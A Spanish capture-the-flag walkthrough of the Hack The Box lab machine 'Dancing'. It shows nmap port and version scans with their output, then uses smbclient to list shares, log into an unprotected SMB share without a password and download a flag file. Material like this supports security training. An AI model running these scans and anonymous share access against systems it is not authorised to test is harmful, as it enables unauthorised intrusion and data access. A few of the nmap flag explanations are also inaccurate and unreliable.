Dancing - Hack The Box

Dancing es una máquina Windows muy fácil que forma parte del Tier 0 de las máquinas para principiantes del Starting Point de Hack The Box. Para poder completar esta máquina, tendremos que conectarnos a ella a través de la VPN, para posteriormente comprometer la máquina mediante técnicas de reconocimiento y escaneos para abusar de las vulnerabilidades existentes. En este caso, estaremos tocando Server Message Block (SMB), un protocolo de red utilizado para ofrecer acceso compartido a archivos, impresoras y otros puertos entre los nodos de una red.

Reconocimiento Inicial

ping -c 1 10.129.72.119

PING 10.129.72.119 ( 10.129.72.119) 56(84) bytes of data.
64 bytes from 10.129.72.119: icmp_seq=1 ttl=127 time=44.4 ms

--- 10.129.72.119 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 44.364/44.364/44.364/0.000 ms

Escaneo de Puertos

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.72.119 -oG allPorts

Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-14 17:11 CEST
Nmap scan report for 10.129.72.119
Host is up (0.12s latency).
Not shown: 62303 closed top ports (reset), 3221 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 22.57 seconds

Escaneo inicial de puertos abiertos con Nmap

  • -p- Escanea todo el rango de puertos [1-65535]
  • –open Muestro solo los puertos abiertos
  • -sS Aplica un TCP SYN Port Scan
  • –min-rate Indica el número de paquetes por segundo a emitir
  • -vvv Muestra por pantalla la información descubierta durante el escaneo
  • -n Indica que no se aplicará resolución DNS durante el escaneo
  • -Pn Indica que no se aplicará el protocolo ARP durante el escaneo
  • -oG Exporta el output del escaneo a un fichero en formato grepeable

sudo nmap -sCV -p135, 139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.129.72.119 -oN targeted 

Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-14 17:16 CEST
Nmap scan report for 10.129.72.119
Host is up (0.090s latency).

PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
 | http-server-header: Microsoft-HTTPAPI/2.0
 |_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
 | http-server-header: Microsoft-HTTPAPI/2.0
 |_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft windows

Host script results:
 |_clock-skew: 4h00m09s
 | smb2-security-mode:
 |    3.1.1: 1.
 |_     Message signing enabled but not required
 | smb2-time:
 |    date: 2022-08-14T19:17:29
 |_   start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 
1 IP address (1 host up) scanned in 64.31 seconds

Escaneo avanzado de detección de versiones y servicios con Nmap

  • -p Escanea los puertos especificados
  • -sV Activa la detección de versiones y servicios
  • -sC Lanza scripts básicos de reconocimiento y enumeración
  • -oG Exporta el output del escaneo a un fichero en formato normal

Detección de vulnerabilidades

Como podemos ver en el escaneo, hemos identificado que el puerto 445/tcp está en estado abierto, ejecutando el servicio SMB de Microsoft-DS. Server Message Block (SMB) es un protocolo de red utilizado para ofrecer acceso compartido a archivos, impresoras y otros puertos entre los nodos de una red. Por lo tanto, el cliente puede leer, crear y actualizar archivos en el servidor remoto. Normalmente, el almacenamiento habilitado para SMB, denominado recurso compartido, puede ser accedido por cualquier cliente que tenga la dirección del servidor y las credenciales adecuadas. Sin embargo, a veces un administrador de red puede hacer errores y permitir accidentalmente inicios de sesión sin ninguna credencial válida o usando cuentas de invitado o inicios de sesión anónimos.

Explotación de vulnerabilidades

SMB

Procedemos a listar los recursos compartidos del servidor SMB con smbclient, el parámetro -L para listar los directorios compartidos y la ip de la máquina víctima.

smbclient -L 10.129.72.119

Password for [WORK GROUP\root]:

    Sharename       Type    Comment
    ---------       ----    -------
    ADMIN$          Disk    Remote Admin
    C$              Disk    Default share
    IPC$            IPC     Remote IPC
    WorkShares      Disk 
    
Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.129.72.119 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Como podemos ver, de todos los recursos compartidos mostrados, el único que no requiere de credenciales válidas es el recurso WorkShares, por lo que procedemos a conectarnos a él sin contraseña.

smbclient \\\10.129.72.119\\WorkShares

Password for [WORK GROUP\root]: 
Try "help" to get a list of possible commands.
smb: \>

Una vez dentro del servidor, podemos descargar la flag.txt a nuestro host local con el comando get, seguido del nombre del archivo que queremos descargar y el comando exit para salir.

smb: > ls
  
  .                                 D        0  Mon Mar 29 10:22:01 2021
  ..                                D        0  Mon Mar 29 10:22:01 2021
  Amy.J                             D        0  Mon Mar 29 11:08:24 2021
  James.P                           D        0  Thu Jun 3 10:38:03 2021

              5114111 blocks of size 4096. 1748775 blocks available
              
smb: > cd James.P\

smb: \James.P\> ls

  .                                 D        0  Thu Jun 3 10:38:03 2021
  ..                                D        0  Thu Jun 3 10:38:03 2021 
  flag.txt                          A       32  Mon Mar_29 11:26:57 2021

              5114111 blocks of size 4096. 1748775 blocks available

smb: \James.P\> get flag.txt 

getting file \James.P\flag.txt of size 32 as flag.txt (0,1 Kilobytes/sec) (average 0,1 Kilobytes/sec)

smb: \James.pl> exit

Finalmente, si salimos del servicio SMB después de transferir la flag del servidor a nuestro host, tendremos en nuestro equipo la flag de HackTheBox, que es nuestro objetivo principal.